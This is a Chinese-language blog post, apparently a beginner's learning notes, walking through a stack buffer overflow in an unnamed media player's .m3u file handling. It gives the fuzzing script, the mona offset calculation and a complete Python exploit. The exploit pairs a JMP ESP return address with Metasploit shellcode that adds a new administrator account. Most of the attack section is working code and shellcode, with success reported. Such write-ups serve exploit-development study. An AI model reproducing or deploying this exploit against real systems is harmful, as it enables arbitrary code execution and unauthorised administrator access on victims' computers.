0x00前记
新手一枚,刚开始接触缓冲区溢出,发现这玩意真的挺难的,幸的Bigtang不耐其烦的教我,是我有幸能进入缓冲区溢出道上。好了,本人比较渣,但笔记还是得做的,我想把我学习的过程分享出来,希望对于很多和我一样的新手有点帮助,足以。
0x01漏洞简要描述
漏洞程序为某多媒体播放软件,在打开播放文件时候,未对文件大小作检查,直接复制到内存。攻击者可以构造恶意文件覆盖EIP从而执行任意代码。
0X02检测溢出点
溢出发生在打开文件的时候,我们可以用python构造超长的文件,使得程序发生溢出。
__author__ = 'Netfairy_'
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*30000 #待写入的数据
myfile.write(filedata) #写入数据
myfile.close() #关闭文件
这里演示用mona.py计算溢出点,安装好debugger和mona插件以后。在command窗口输入(30000为溢出字符串的长度)
然后打开pattern.txt。复制其中的字符串作为我们的溢出字符串。然后用这个字符串重新构造我们的恶意文件。接着打开它。异常,用debugger跟进去
发现EIP被覆盖为48306D48,输入
!mona pattern_offset 0x48306D48
如图可以看到溢出在5820+20280=26100处
0x03开始溢出
我们可以构造这样的exploit
填充字符串(26100)+jmp esp地址(4)+shellcode
我们随便查找一个jmp esp地址(注意不应有坏地址)
在metasploit找一段添加用户的shellcode
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
最后,完整的构造是
#author www.netfairy.net#
filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w') #以写方式打开文件
filedata="A"*26100+'\xDB\xFC\x3A\x75'+'\x90\x90\x90\x90'+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
myfile.write(filedata) #写入数据
myfile.close() #关闭文件
值得注意的是,这里我在JMP ESP地址后面加了四个\x90.因为我发现程序在return 后esp并不指向返回地址的后面,而是指向返回地址+4的地方。大家看
然后,运行我们构造的恶意文件
成功添加新用户。
0x04参考
http://x0day.me/index.php/archives/ftp-overflow-and-exploit-with-metasploit.html
https://www.exploit-db.com